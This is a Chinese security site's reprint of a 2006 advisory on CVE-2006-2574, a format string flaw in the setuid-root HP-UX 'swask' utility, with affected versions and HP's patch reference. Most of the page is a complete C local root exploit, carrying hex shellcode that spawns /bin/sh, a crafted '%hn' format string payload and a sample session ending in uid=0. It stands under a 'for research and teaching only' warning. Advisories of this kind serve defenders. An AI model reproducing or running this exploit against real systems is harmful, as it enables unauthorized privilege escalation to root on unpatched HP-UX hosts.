| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
HP-UX Software Distributor SWAsk本地格式串漏洞
HP-UX Software Distributor SWAsk本地格式串漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 15:08:39
2006-11-4 11:57:55

发布日期:2006-05-24
更新日期:2006-10-25

受影响系统:
HP HP-UX B.11.23
HP HP-UX B.11.11
HP HP-UX B.11.04
HP HP-UX B.11.00
描述:

BUGTRAQ  ID: 20726
CVE(CAN) ID: CVE-2006-2574

HP-UX是一款HP公司开发的UNIX操作系统。

HP-UX的Software Distributor实现上存在安全漏洞,允许本地授权用户获得管理员权限提升。

<*来源:NCC Group
  
  链接:http://secunia.com/advisories/20230
        http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00659649&hpweb_printable=true
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* HP-UX swask format string local root exploit
* ============================================
* HP-UX 'swask' contains an exploitable format string
* vulnerability. The 'swask' utility is installed setuid
* root by default. Specifically the vulnerability is in
* the handling of the "-s" optional arguement which is
* passed to a format function as verbatim.  
*
* Example.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ./prdelka-vs-HPUX-swask
* [ HP-UX 11i 'swask' local root exploit
* =======  01/20/06 10:19:49 EST  BEGIN swask SESSION (non-interactive)
* <SNIP>
*
* =======  01/20/06 10:19:50 EST  END swask SESSION (non-interactive)
*
* $ id
* uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
* $
*
* - prdelka
*/

char shellcode[]=
         "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
         "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
         "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char *d, *c, *b,*a,*envp;
        int i,pid;
    printf("[ HP-UX 11i 'swask' local root exploit\n");
    switch(pid = fork()){
        case -1:
            perror("fork");
        case 0:
                a=(char*)malloc(2048);
                memset(a,0,2048);
                sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38);
                for(i=0;i<103;i++) strcat(a,"%p");
            envp=0;
            execle("/usr/sbin/swask","swask","-s",a,0,envp);
            break;
        default:
            sleep(1);
            b=(char*)malloc(2048);
                memset(b,0,2048);
                for(i=0;i<102;i++) strcat(b,"%p");
            strcat(b,"%31799u%hn");
            a=(char*)malloc(2048);
            memset(a,0,2048);
            d=a;
            for(i=0;i<39;i++)strcat(a,"A");
            d+=39;
            for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
            envp=0;
            execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
    }
}

// milw0rm.com [2006-10-24]

建议:

厂商补丁:

HP
--
HP已经为此发布了一个安全公告(HPSBUX02114)以及相应补丁:
HPSBUX02114:SSRT061115 rev.1 - HP-UX Running Software Distributor Local Elevation of Privilege
链接:http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00659649&hpweb_printable=true
新闻录入:admin    责任编辑:admin 
  • 上一篇新闻:

  • 下一篇新闻:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    HP OpenView客户端配置管
    HP Tru64 UNIX libpthre
    Adobe Flash Player多个
    Haru Free PDF Library 
    HP OpenView客户端配置管
    HP Tru64 UNIX libpthre
    Adobe Flash Player多个
    HP-UX LIBC TZ环境变量本
    HP-UX Software Distrib
    HP NonStop Server非授权

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览